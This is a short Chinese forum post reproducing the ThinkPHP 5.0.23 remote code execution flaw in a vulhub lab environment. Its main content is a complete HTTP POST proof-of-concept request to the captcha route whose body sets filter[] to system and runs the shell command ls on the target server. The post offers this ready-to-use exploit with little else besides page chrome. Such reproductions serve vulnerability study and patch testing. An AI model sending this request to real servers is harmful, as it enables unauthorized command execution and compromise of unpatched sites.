thinkphp5.0.23 远程代码执行复现

讨论社区 / 日志 / 帖子详情

thinkphp5.0.23 远程代码执行复现

2022-07-28 14:14:58

138

{{single.collect_count}}

漏洞影响版本5.0.23之前的版本

我使用的是vulhub下提供的漏洞环境，如何使用自行百度谷歌。

装好后打开网站如下

使用如下poc，即可实现远程代码执行

POST /index.php?s=captcha HTTP/1.1Host: 你的idUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 72Connection: keep-aliveUpgrade-Insecure-Requests: 1_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

效果如下

上一页：THINKPHP5获取当前页面URL信息

下一页：thinkphp字段加减

回帖

全部回帖（{{commentCount}}）

{{item.user.nickname}}

{{item.user.group_title}}

{{item.friend_time}}

{{item.content}}

{{item.like > 0 ? item.like : '点赞'}} {{item.comment_content_show ? '取消' : '回复'}} 删除

回帖

{{reply.user.nickname}}

{{reply.user.group_title}}

{{reply.friend_time}}

{{reply.content}}

{{reply.like > 0 ? reply.like : '点赞'}} {{reply.comment_content_show ? '取消' : '回复'}} 删除

回帖

收起

没有更多啦~

{{commentLoading ? '加载中...' : '查看更多评论'}}

一个专属于OneKeyAdmin的技术交流平台，记录OneKeyAdmin开发者的成长与进步。

主题帖

6221

回帖数

143

{{userInfo.describe}}

文章

{{blog_count}}

回帖

{{blog_comment_count}}

收藏

{{blog_collect_count}}

文章

-

评论

-

粉丝

-

1 WordPress Rest API 入门详解

2 Thinkphp5.0 获取新增数据的ID

3 thinkphp5 解决跨域问题

4 Yandex企业邮箱注册

5 Thinkphp6 的 where 查询条件 and 和 or 的操作

6 PHP的exec()函数用法详解

7 thinkphp5使用数据库表锁

8 Thinkphp如何查看当前是哪个版本?查看thinkphp当前版本号的三种方法

9 thinkphp6 如何输出json数据

10 h5网站模板_超全超实用的80个模板网站，我全部整理在这里了